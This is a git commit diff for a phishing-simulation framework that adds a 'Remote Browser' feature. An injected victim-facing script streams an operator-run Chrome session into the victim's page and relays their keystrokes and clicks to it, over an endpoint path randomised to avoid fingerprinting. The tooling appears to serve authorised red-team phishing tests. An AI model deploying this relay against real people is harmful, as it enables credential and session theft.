mirror of
https://github.com/phishingclub/phishingclub.git
synced 2026-07-09 13:58:25 +02:00
Remote Browser Feature
Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
@@ -0,0 +1,20 @@
|
||||
# Go vendor dependencies
|
||||
backend/vendor/
|
||||
|
||||
# Embedded GeoIP data blobs
|
||||
backend/embedded/geoip/
|
||||
|
||||
# Node.js dependencies
|
||||
frontend/node_modules/
|
||||
|
||||
# Dev runtime artifacts
|
||||
backend/.dev/
|
||||
backend/.dev-air/
|
||||
frontend/.svelte-kit/
|
||||
|
||||
# Compiled binaries
|
||||
build/
|
||||
|
||||
# Temporary files
|
||||
tmp/
|
||||
.tmp/
|
||||
+2
-1
@@ -1,7 +1,8 @@
|
||||
FROM debian:12-slim
|
||||
FROM debian:12-slim@sha256:b29f74a267526ae6ea104eed6c46133b0ca70ce812525df8cd5817698f0a624a
|
||||
|
||||
# install ca-certificates for https requests
|
||||
RUN apt-get update && \
|
||||
apt-get upgrade -y && \
|
||||
apt-get install -y ca-certificates tzdata && \
|
||||
rm -rf /var/lib/apt/lists/*
|
||||
|
||||
|
||||
+26
-2
@@ -10,6 +10,30 @@ WORKDIR /app
|
||||
RUN groupadd -g 1000 appuser && \
|
||||
useradd -r -u 1000 -g appuser appuser -d /home/appuser -m
|
||||
|
||||
# chromium runtime dependencies (required when remote_browser.enabled is true)
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
libglib2.0-0 \
|
||||
libnss3 \
|
||||
libatk1.0-0 \
|
||||
libatk-bridge2.0-0 \
|
||||
libcups2 \
|
||||
libdrm2 \
|
||||
libxkbcommon0 \
|
||||
libxcomposite1 \
|
||||
libxdamage1 \
|
||||
libxfixes3 \
|
||||
libxrandr2 \
|
||||
libgbm1 \
|
||||
libasound2 \
|
||||
libpango-1.0-0 \
|
||||
libcairo2 \
|
||||
fonts-liberation \
|
||||
libx11-6 \
|
||||
libx11-xcb1 \
|
||||
libxcb1 \
|
||||
libxext6 \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# install deps
|
||||
#RUN go install github.com/cosmtrek/air@latest \
|
||||
#RUN go install github.com/go-delve/delve/cmd/dlv@1.9.1
|
||||
@@ -21,7 +45,7 @@ RUN chown -R appuser:appuser /app
|
||||
|
||||
|
||||
USER appuser
|
||||
RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@latest
|
||||
RUN go mod tidy
|
||||
RUN go install github.com/cosmtrek/air@v1.40.4 && go install github.com/go-delve/delve/cmd/dlv@v1.26.3
|
||||
RUN go mod download
|
||||
|
||||
CMD ["air", "-c", "/.dev-air/.air.docker.toml"]
|
||||
|
||||
@@ -11,6 +11,19 @@ The program must be executable
|
||||
The program must have rights to serve on privliged ports
|
||||
`sudo setcap CAP_NET_BIND_SERVICE=+eip /path/to/binary`
|
||||
|
||||
### Updating the systemd service unit (required for Remote Browser feature)
|
||||
|
||||
The Remote Browser feature spawns a Chrome process as a subprocess. To support this, the systemd unit was updated to remove `MemoryDenyWriteExecute` (incompatible with Chrome's V8 JIT) and `RestrictNamespaces` (required for Chrome's sandbox to work).
|
||||
|
||||
The in-app update replaces the binary but **does not** reload the service unit automatically. After updating from a version that did not have Remote Browser support, you must run:
|
||||
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart phishingclub
|
||||
```
|
||||
|
||||
Without this the old unit stays active and Chrome will crash when a remote browser session is started.
|
||||
|
||||
### Known Issues
|
||||
|
||||
#### Hot reloading not working / New files now working
|
||||
|
||||
@@ -208,6 +208,14 @@ const (
|
||||
ROUTE_V1_VERSION = "/api/v1/version"
|
||||
// import
|
||||
ROUTE_V1_IMPORT = "/api/v1/import"
|
||||
// remote browser
|
||||
ROUTE_V1_REMOTE_BROWSER = "/api/v1/remote-browser"
|
||||
ROUTE_V1_REMOTE_BROWSER_OVERVIEW = "/api/v1/remote-browser/overview"
|
||||
ROUTE_V1_REMOTE_BROWSER_ID = "/api/v1/remote-browser/:id"
|
||||
ROUTE_V1_REMOTE_BROWSER_ID_RUN = "/api/v1/remote-browser/:id/run"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE = "/api/v1/remote-browser/live"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE_CRID = "/api/v1/remote-browser/live/:crID"
|
||||
ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM = "/api/v1/remote-browser/live/:crID/stream"
|
||||
)
|
||||
|
||||
// administrationServer is the administrationServer app
|
||||
@@ -500,7 +508,18 @@ func setupRoutes(
|
||||
GET(ROUTE_V1_BACKUP_LIST, middleware.SessionHandler, controllers.Backup.ListBackups).
|
||||
GET(ROUTE_V1_BACKUP_DOWNLOAD, middleware.SessionHandler, controllers.Backup.DownloadBackup).
|
||||
// import
|
||||
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import)
|
||||
POST(ROUTE_V1_IMPORT, middleware.SessionHandler, controllers.Import.Import).
|
||||
// remote browser
|
||||
GET(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.GetAll).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_OVERVIEW, middleware.SessionHandler, controllers.RemoteBrowser.GetOverview).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.GetByID).
|
||||
POST(ROUTE_V1_REMOTE_BROWSER, middleware.SessionHandler, controllers.RemoteBrowser.Create).
|
||||
PATCH(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.UpdateByID).
|
||||
DELETE(ROUTE_V1_REMOTE_BROWSER_ID, middleware.SessionHandler, controllers.RemoteBrowser.DeleteByID).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_ID_RUN, middleware.SessionHandler, controllers.RemoteBrowser.RunByID).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_LIVE, middleware.SessionHandler, controllers.RemoteBrowser.ListLiveSessions).
|
||||
DELETE(ROUTE_V1_REMOTE_BROWSER_LIVE_CRID, middleware.SessionHandler, controllers.RemoteBrowser.CloseLiveSession).
|
||||
GET(ROUTE_V1_REMOTE_BROWSER_LIVE_STREAM, middleware.SessionHandler, controllers.RemoteBrowser.StreamLiveSession)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
@@ -40,6 +40,7 @@ type Controllers struct {
|
||||
Backup *controller.Backup
|
||||
IPAllowList *controller.IPAllowList
|
||||
OAuthProvider *controller.OAuthProvider
|
||||
RemoteBrowser *controller.RemoteBrowserController
|
||||
}
|
||||
|
||||
// NewControllers creates a collection of controllers
|
||||
@@ -196,6 +197,16 @@ func NewControllers(
|
||||
OAuthProviderService: services.OAuthProvider,
|
||||
Config: conf,
|
||||
}
|
||||
remoteBrowser := &controller.RemoteBrowserController{
|
||||
Common: common,
|
||||
RemoteBrowserService: services.RemoteBrowser,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
CampaignRecipientRepository: repositories.CampaignRecipient,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
CampaignService: services.Campaign,
|
||||
ExecPath: conf.RemoteBrowser.ExecPath,
|
||||
Enabled: conf.RemoteBrowser.Enabled,
|
||||
}
|
||||
|
||||
return &Controllers{
|
||||
Asset: asset,
|
||||
@@ -229,5 +240,6 @@ func NewControllers(
|
||||
Backup: backup,
|
||||
IPAllowList: ipAllowList,
|
||||
OAuthProvider: oauthProvider,
|
||||
RemoteBrowser: remoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ type Repositories struct {
|
||||
OAuthProvider *repository.OAuthProvider
|
||||
OAuthState *repository.OAuthState
|
||||
MicrosoftDeviceCode *repository.MicrosoftDeviceCode
|
||||
RemoteBrowser *repository.RemoteBrowser
|
||||
}
|
||||
|
||||
// NewRepositories creates a collection of repositories
|
||||
@@ -63,5 +64,6 @@ func NewRepositories(
|
||||
OAuthProvider: &repository.OAuthProvider{DB: db},
|
||||
OAuthState: &repository.OAuthState{DB: db},
|
||||
MicrosoftDeviceCode: &repository.MicrosoftDeviceCode{DB: db},
|
||||
RemoteBrowser: &repository.RemoteBrowser{DB: db},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,6 +62,7 @@ type Server struct {
|
||||
repositories *Repositories
|
||||
proxyServer *proxy.ProxyHandler
|
||||
ja4Middleware *middleware.JA4Middleware
|
||||
remoteBrowserWSPath string
|
||||
}
|
||||
|
||||
// NewServer returns a new server
|
||||
@@ -74,6 +75,7 @@ func NewServer(
|
||||
repositories *Repositories,
|
||||
logger *zap.SugaredLogger,
|
||||
certMagicConfig *certmagic.Config,
|
||||
remoteBrowserWSPath string,
|
||||
) *Server {
|
||||
// setup ja4 middleware for tls fingerprinting
|
||||
ja4Middleware := middleware.NewJA4Middleware(logger)
|
||||
@@ -118,6 +120,7 @@ func NewServer(
|
||||
certMagicConfig: certMagicConfig,
|
||||
proxyServer: proxyServer,
|
||||
ja4Middleware: ja4Middleware,
|
||||
remoteBrowserWSPath: remoteBrowserWSPath,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -342,6 +345,12 @@ func (s *Server) checkAndServeSharedAsset(c *gin.Context) bool {
|
||||
// checks if the request should be redirected
|
||||
// checks if the request is for a static page or static not found page
|
||||
func (s *Server) Handler(c *gin.Context) {
|
||||
// pass through to the explicit Gin route for the victim remote browser WS endpoint
|
||||
if strings.HasPrefix(c.Request.URL.Path, "/"+s.remoteBrowserWSPath+"/") {
|
||||
c.Next()
|
||||
return
|
||||
}
|
||||
|
||||
if cacheEntry, ok := s.ja4Middleware.ConnectionFingerprints.Load(c.Request.RemoteAddr); ok {
|
||||
if entry, ok := cacheEntry.(*middleware.FingerprintEntry); ok {
|
||||
fingerprint := entry.Fingerprint
|
||||
@@ -2023,6 +2032,11 @@ func (s *Server) renderDenyPage(
|
||||
|
||||
// AssignRoutes assigns the routes to the server
|
||||
func (s *Server) AssignRoutes(r *gin.Engine) {
|
||||
// victim-facing remote browser WS endpoint - lives on the phishing engine (r), not
|
||||
// the admin engine, because it is served to the victim's browser. s.Handler has an
|
||||
// explicit prefix check that calls c.Next() for this path so the catch-all proxy
|
||||
// logic does not swallow the request before Gin can dispatch to ServeVictim.
|
||||
r.GET("/"+s.remoteBrowserWSPath+"/:crID/:rbID", s.controllers.RemoteBrowser.ServeVictim)
|
||||
r.Use(s.Handler)
|
||||
r.NoRoute(s.handlerNotFound)
|
||||
}
|
||||
|
||||
@@ -43,6 +43,7 @@ type Services struct {
|
||||
ProxySessionManager *service.ProxySessionManager
|
||||
OAuthProvider *service.OAuthProvider
|
||||
MicrosoftDeviceCode *service.MicrosoftDeviceCode
|
||||
RemoteBrowser *service.RemoteBrowser
|
||||
}
|
||||
|
||||
// NewServices creates a collection of services
|
||||
@@ -72,6 +73,8 @@ func NewServices(
|
||||
templateService := &service.Template{
|
||||
Common: common,
|
||||
RecipientRepository: repositories.Recipient,
|
||||
OptionRepository: repositories.Option,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
MicrosoftDeviceCodeService: microsoftDeviceCodeService,
|
||||
}
|
||||
file := &service.File{
|
||||
@@ -196,6 +199,10 @@ func NewServices(
|
||||
TemplateService: templateService,
|
||||
CampaignTemplateService: campaignTemplate,
|
||||
}
|
||||
remoteBrowser := &service.RemoteBrowser{
|
||||
Common: common,
|
||||
RemoteBrowserRepository: repositories.RemoteBrowser,
|
||||
}
|
||||
campaign := &service.Campaign{
|
||||
Common: common,
|
||||
CampaignRepository: repositories.Campaign,
|
||||
@@ -214,6 +221,7 @@ func NewServices(
|
||||
TemplateService: templateService,
|
||||
MicrosoftDeviceCodeRepository: repositories.MicrosoftDeviceCode,
|
||||
AttachmentPath: attachmentPath,
|
||||
RemoteBrowserService: remoteBrowser,
|
||||
}
|
||||
// wire campaign service into microsoft device code service now that campaign is constructed
|
||||
microsoftDeviceCodeService.CampaignService = campaign
|
||||
@@ -309,5 +317,6 @@ func NewServices(
|
||||
ProxySessionManager: proxySessionManager,
|
||||
OAuthProvider: oauthProvider,
|
||||
MicrosoftDeviceCode: microsoftDeviceCodeService,
|
||||
RemoteBrowser: remoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,5 +16,8 @@
|
||||
"database": {
|
||||
"engine": "sqlite3",
|
||||
"dsn": "file:/app/.dev/db.sqlite3"
|
||||
},
|
||||
"remote_browser": {
|
||||
"enabled": true
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,5 +20,9 @@
|
||||
"log": {
|
||||
"path": "",
|
||||
"errorPath": ""
|
||||
},
|
||||
"remote_browser": {
|
||||
"enabled": false,
|
||||
"exec_path": ""
|
||||
}
|
||||
}
|
||||
|
||||
@@ -78,17 +78,19 @@ type (
|
||||
LogPath string
|
||||
ErrLogPath string
|
||||
|
||||
IPSecurity IPSecurityConfig
|
||||
IPSecurity IPSecurityConfig
|
||||
RemoteBrowser RemoteBrowserServerConfig
|
||||
}
|
||||
|
||||
// ConfigDTO config DTO
|
||||
ConfigDTO struct {
|
||||
ACME ACME `json:"acme"`
|
||||
AdministrationServer AdministrationServer `json:"administration"`
|
||||
PhishingServer PhishingServer `json:"phishing"`
|
||||
Database Database `json:"database"`
|
||||
Log Log `json:"log"`
|
||||
IPSecurity IPSecurityConfig `json:"ip_security"`
|
||||
ACME ACME `json:"acme"`
|
||||
AdministrationServer AdministrationServer `json:"administration"`
|
||||
PhishingServer PhishingServer `json:"phishing"`
|
||||
Database Database `json:"database"`
|
||||
Log Log `json:"log"`
|
||||
IPSecurity IPSecurityConfig `json:"ip_security"`
|
||||
RemoteBrowser RemoteBrowserServerConfig `json:"remote_browser"`
|
||||
}
|
||||
|
||||
Log struct {
|
||||
@@ -121,6 +123,19 @@ type (
|
||||
ACME struct {
|
||||
Email string `json:"email"`
|
||||
}
|
||||
|
||||
// RemoteBrowserServerConfig holds server-side remote browser settings.
|
||||
RemoteBrowserServerConfig struct {
|
||||
// Enabled controls whether the remote browser feature is available.
|
||||
// Defaults to false. When false all remote browser endpoints return 404.
|
||||
// When true all built-in safeguards are removed (Chrome flag blocklist,
|
||||
// URL scheme restriction) because operators are trusted at server level.
|
||||
// Only enable on instances where every operator is trusted as a server admin.
|
||||
Enabled bool `json:"enabled"`
|
||||
// ExecPath is the path to a Chrome/Chromium binary. When empty Rod uses
|
||||
// its own auto-downloaded Chromium. Set at the server level only.
|
||||
ExecPath string `json:"exec_path"`
|
||||
}
|
||||
)
|
||||
|
||||
type IPSecurityConfig struct {
|
||||
@@ -400,6 +415,16 @@ func (c *Config) SetErrLogPath(path string) {
|
||||
c.ErrLogPath = path
|
||||
}
|
||||
|
||||
// SetRemoteBrowserEnabled enables or disables the remote browser feature.
|
||||
func (c *Config) SetRemoteBrowserEnabled(enabled bool) {
|
||||
c.RemoteBrowser.Enabled = enabled
|
||||
}
|
||||
|
||||
// SetRemoteBrowserExecPath sets the Chrome binary path used by the remote browser runner.
|
||||
func (c *Config) SetRemoteBrowserExecPath(path string) {
|
||||
c.RemoteBrowser.ExecPath = path
|
||||
}
|
||||
|
||||
// SetFileWriter sets the file writer
|
||||
func (c *Config) SetFileWriter(fileWriter file.Writer) error {
|
||||
if err := ValidateFileWriter(fileWriter); err != nil {
|
||||
@@ -451,7 +476,7 @@ func StringAddressToTCPAddr(address string) (*net.TCPAddr, error) {
|
||||
|
||||
// FromMap creates a *Config from a DTO
|
||||
func FromDTO(dto *ConfigDTO) (*Config, error) {
|
||||
return NewConfig(
|
||||
cfg, err := NewConfig(
|
||||
dto.ACME.Email,
|
||||
dto.AdministrationServer.TLSHost,
|
||||
dto.AdministrationServer.TLSAuto,
|
||||
@@ -466,6 +491,11 @@ func FromDTO(dto *ConfigDTO) (*Config, error) {
|
||||
dto.Log.ErrorPath,
|
||||
dto.IPSecurity,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
cfg.RemoteBrowser = dto.RemoteBrowser
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// ToDTO converts a *Config to a *ConfigDTO
|
||||
@@ -493,7 +523,8 @@ func (c *Config) ToDTO() *ConfigDTO {
|
||||
Path: c.LogPath,
|
||||
ErrorPath: c.ErrLogPath,
|
||||
},
|
||||
IPSecurity: c.IPSecurity,
|
||||
IPSecurity: c.IPSecurity,
|
||||
RemoteBrowser: c.RemoteBrowser,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -26,6 +26,11 @@ const (
|
||||
|
||||
OptionKeyProxyCookieName = "proxy_cookie_name"
|
||||
|
||||
// OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the
|
||||
// victim-facing remote browser WebSocket endpoint. Randomised at first startup
|
||||
// so the endpoint is not fingerprinted by path alone.
|
||||
OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path"
|
||||
|
||||
OptionKeyDisplayMode = "display_mode"
|
||||
OptionValueDisplayModeWhitebox = "whitebox"
|
||||
OptionValueDisplayModeBlackbox = "blackbox"
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
const (
|
||||
REMOTE_BROWSER_TABLE = "remote_browsers"
|
||||
)
|
||||
|
||||
// RemoteBrowser is a gorm data model for saved remote browser scripts.
|
||||
type RemoteBrowser struct {
|
||||
ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"`
|
||||
CreatedAt *time.Time `gorm:"not null;index;"`
|
||||
UpdatedAt *time.Time `gorm:"not null;index"`
|
||||
CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"`
|
||||
Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"`
|
||||
Description string `gorm:"type:text"`
|
||||
Script string `gorm:"type:text;not null;"`
|
||||
Config string `gorm:"type:text;not null;default:'{}'"`
|
||||
|
||||
Company *Company
|
||||
}
|
||||
|
||||
func (e *RemoteBrowser) Migrate(db *gorm.DB) error {
|
||||
return UniqueIndexNameAndNullCompanyID(db, "remote_browsers")
|
||||
}
|
||||
|
||||
func (RemoteBrowser) TableName() string {
|
||||
return REMOTE_BROWSER_TABLE
|
||||
}
|
||||
@@ -7,6 +7,9 @@ import (
|
||||
//go:embed tracking-pixel/sendgrid/open.gif
|
||||
var TrackingPixel []byte
|
||||
|
||||
//go:embed remotebrowser_inject.js
|
||||
var RemoteBrowserInjectJS string
|
||||
|
||||
// SigningKey1 is verifing the signed .sig file when updating
|
||||
//
|
||||
//go:embed signingkeys/public1.bin
|
||||
|
||||
@@ -0,0 +1,197 @@
|
||||
(function () {
|
||||
var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__');
|
||||
var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc.
|
||||
var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el}
|
||||
var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly
|
||||
|
||||
ws.onopen = function () {
|
||||
ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight }));
|
||||
};
|
||||
|
||||
// Apply stream_start sizing to an already-mounted stream entry.
|
||||
function applyStreamStart(st, m) {
|
||||
st.canvas.width = m.width;
|
||||
st.canvas.height = m.height;
|
||||
st.w = m.width;
|
||||
st.h = m.height;
|
||||
// Display size = element's true CSS-pixel dimensions.
|
||||
// Replace cssText entirely so there is no max-width left to fight against.
|
||||
var dw = m.cssWidth || m.width;
|
||||
var dh = m.cssHeight || m.height;
|
||||
st.cssW = dw;
|
||||
st.cssH = dh;
|
||||
st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;';
|
||||
if (st.autoSize) {
|
||||
st.el.style.width = dw + 'px';
|
||||
st.el.style.height = dh + 'px';
|
||||
}
|
||||
}
|
||||
|
||||
ws.onmessage = function (e) {
|
||||
try {
|
||||
var m = JSON.parse(e.data);
|
||||
|
||||
if (m.type === 'event' && m.key) {
|
||||
(h['e:' + m.key] || []).forEach(function (f) { f(m.value); });
|
||||
|
||||
} else if (m.type === 'stream_start' && m.name) {
|
||||
// Always store so mountStream() called inside the handler still gets sized.
|
||||
streamLastStart[m.name] = m;
|
||||
var st = streams[m.name];
|
||||
if (st) {
|
||||
// Stream already mounted — this is a resize/reposition update only.
|
||||
// Do NOT re-fire user handlers; that would call mountStream() again
|
||||
// and create duplicate canvases.
|
||||
applyStreamStart(st, m);
|
||||
} else {
|
||||
// First stream_start for this name: fire user handlers so the page can
|
||||
// call mountStream() to attach a canvas.
|
||||
(h['stream_start:' + m.name] || []).forEach(function (f) {
|
||||
f(m.cssWidth || m.width, m.cssHeight || m.height);
|
||||
});
|
||||
// If the handler called mountStream() just now, apply sizing immediately.
|
||||
if (streams[m.name]) {
|
||||
applyStreamStart(streams[m.name], m);
|
||||
}
|
||||
}
|
||||
|
||||
} else if (m.type === 'stream_frame' && m.name) {
|
||||
var st = streams[m.name];
|
||||
if (!st) return;
|
||||
var img = new Image();
|
||||
img.onload = function () {
|
||||
if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; }
|
||||
if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; }
|
||||
st.canvas.getContext('2d').drawImage(img, 0, 0);
|
||||
};
|
||||
img.src = 'data:image/jpeg;base64,' + m.frame;
|
||||
|
||||
} else if (m.type === 'done') {
|
||||
(h['e:done'] || []).forEach(function (f) { f(); });
|
||||
|
||||
} else if (m.type === 'stream_stop' && m.name) {
|
||||
// Remove the canvas from DOM and clear the tracking entry so the next
|
||||
// stream_start for the same name triggers a fresh mountStream() call.
|
||||
// Without this, a stop→start cycle (e.g. element removed and re-added)
|
||||
// leaves a stale canvas in `streams` that silently receives frames while
|
||||
// subsequent mountStream() calls add new canvases on top.
|
||||
var stStopped = streams[m.name];
|
||||
if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) {
|
||||
stStopped.canvas.parentNode.removeChild(stStopped.canvas);
|
||||
}
|
||||
delete streams[m.name];
|
||||
delete streamLastStart[m.name];
|
||||
(h['stream_stop:' + m.name] || []).forEach(function (f) { f(); });
|
||||
}
|
||||
} catch (ex) {}
|
||||
};
|
||||
|
||||
window.remoteBrowser = {
|
||||
on: function (ev, nameOrFn, fn) {
|
||||
if (typeof nameOrFn === 'function') {
|
||||
h['e:' + ev] = h['e:' + ev] || [];
|
||||
h['e:' + ev].push(nameOrFn);
|
||||
} else {
|
||||
var k = ev + ':' + nameOrFn;
|
||||
h[k] = h[k] || [];
|
||||
h[k].push(fn);
|
||||
}
|
||||
},
|
||||
|
||||
send: function (ev, data) {
|
||||
if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} }));
|
||||
},
|
||||
|
||||
mountStream: function (name, el, opts) {
|
||||
// stream_start fires on every viewport/JPEG-dimension change; guard against
|
||||
// appending a second canvas if the stream is already mounted.
|
||||
if (streams[name]) return;
|
||||
|
||||
var autoSize = !!(opts && opts.autoSize);
|
||||
var allowScroll = !!(opts && opts.scroll);
|
||||
var allowArrows = !!(opts && opts.arrowKeys);
|
||||
var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 };
|
||||
|
||||
var canvas = document.createElement('canvas');
|
||||
canvas.style.cssText = 'display:block;outline:none;';
|
||||
canvas.setAttribute('tabindex', '0');
|
||||
el.appendChild(canvas);
|
||||
|
||||
var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el };
|
||||
streams[name] = st;
|
||||
|
||||
// If stream_start already arrived (e.g. mountStream called inside the handler),
|
||||
// apply the stored sizing now so the canvas has the right CSS dimensions immediately.
|
||||
if (streamLastStart[name]) {
|
||||
applyStreamStart(st, streamLastStart[name]);
|
||||
}
|
||||
|
||||
function coords(e) {
|
||||
var r = canvas.getBoundingClientRect();
|
||||
var sx = st.w > 0 ? st.w / r.width : 1;
|
||||
var sy = st.h > 0 ? st.h / r.height : 1;
|
||||
return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) };
|
||||
}
|
||||
|
||||
function snd(o) {
|
||||
if (ws.readyState === 1) ws.send(JSON.stringify(o));
|
||||
}
|
||||
|
||||
canvas.addEventListener('mousedown', function (e) {
|
||||
e.preventDefault();
|
||||
canvas.focus();
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y,
|
||||
button: e.button === 2 ? 'right' : 'left' });
|
||||
});
|
||||
|
||||
canvas.addEventListener('mouseup', function (e) {
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y,
|
||||
button: e.button === 2 ? 'right' : 'left' });
|
||||
});
|
||||
|
||||
canvas.addEventListener('mousemove', function (e) {
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y });
|
||||
});
|
||||
|
||||
// Scroll: disabled by default to avoid accidentally scrolling the remote browser.
|
||||
// Enable with { scroll: true } in mountStream options.
|
||||
if (allowScroll) {
|
||||
canvas.addEventListener('wheel', function (e) {
|
||||
e.preventDefault();
|
||||
var p = coords(e);
|
||||
snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y,
|
||||
deltaX: e.deltaX, deltaY: e.deltaY });
|
||||
}, { passive: false });
|
||||
}
|
||||
|
||||
// Arrow keys: always preventDefault (prevent page scroll when canvas is focused),
|
||||
// but only forwarded to the remote browser when { arrowKeys: true }.
|
||||
canvas.addEventListener('keydown', function (e) {
|
||||
var isArrow = !!ARROW_KEYS[e.key];
|
||||
e.preventDefault();
|
||||
if (isArrow && !allowArrows) return;
|
||||
snd({ type: 'stream_input', name: name, action: 'keydown',
|
||||
key: e.key, code: e.code, keyCode: e.keyCode,
|
||||
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0),
|
||||
charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') });
|
||||
});
|
||||
|
||||
canvas.addEventListener('keyup', function (e) {
|
||||
var isArrow = !!ARROW_KEYS[e.key];
|
||||
e.preventDefault();
|
||||
if (isArrow && !allowArrows) return;
|
||||
snd({ type: 'stream_input', name: name, action: 'keyup',
|
||||
key: e.key, code: e.code, keyCode: e.keyCode,
|
||||
modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) });
|
||||
});
|
||||
|
||||
canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); });
|
||||
}
|
||||
};
|
||||
|
||||
window.rb = window.remoteBrowser;
|
||||
})();
|
||||
@@ -12,13 +12,16 @@ require (
|
||||
github.com/charmbracelet/bubbles v0.20.0
|
||||
github.com/charmbracelet/bubbletea v1.3.4
|
||||
github.com/charmbracelet/lipgloss v1.1.0
|
||||
github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
|
||||
github.com/enetx/surf v1.0.141
|
||||
github.com/exaring/ja4plus v0.0.2
|
||||
github.com/fatih/color v1.15.0
|
||||
github.com/gin-contrib/zap v1.1.4
|
||||
github.com/gin-gonic/gin v1.10.0
|
||||
github.com/go-errors/errors v1.5.1
|
||||
github.com/go-rod/rod v0.116.2
|
||||
github.com/google/uuid v1.3.1
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/klauspost/compress v1.18.1
|
||||
github.com/oapi-codegen/nullable v1.1.0
|
||||
github.com/pquerna/otp v1.4.0
|
||||
@@ -50,6 +53,7 @@ require (
|
||||
github.com/cloudwego/base64x v0.1.4 // indirect
|
||||
github.com/cloudwego/iasm v0.2.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.11.4 // indirect
|
||||
github.com/enetx/g v1.0.194 // indirect
|
||||
github.com/enetx/http v1.0.19 // indirect
|
||||
github.com/enetx/http2 v1.0.20 // indirect
|
||||
@@ -64,6 +68,7 @@ require (
|
||||
github.com/go-playground/locales v0.14.1 // indirect
|
||||
github.com/go-playground/universal-translator v0.18.1 // indirect
|
||||
github.com/go-playground/validator/v10 v10.22.0 // indirect
|
||||
github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect
|
||||
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
|
||||
github.com/goccy/go-json v0.10.3 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.2.2 // indirect
|
||||
@@ -101,6 +106,11 @@ require (
|
||||
github.com/wzshiming/socks5 v0.6.0 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
github.com/yeqown/reedsolomon v1.0.0 // indirect
|
||||
github.com/ysmood/fetchup v0.2.3 // indirect
|
||||
github.com/ysmood/goob v0.4.0 // indirect
|
||||
github.com/ysmood/got v0.40.0 // indirect
|
||||
github.com/ysmood/gson v0.7.3 // indirect
|
||||
github.com/ysmood/leakless v0.9.0 // indirect
|
||||
github.com/zeebo/blake3 v0.2.3 // indirect
|
||||
go.uber.org/mock v0.6.0 // indirect
|
||||
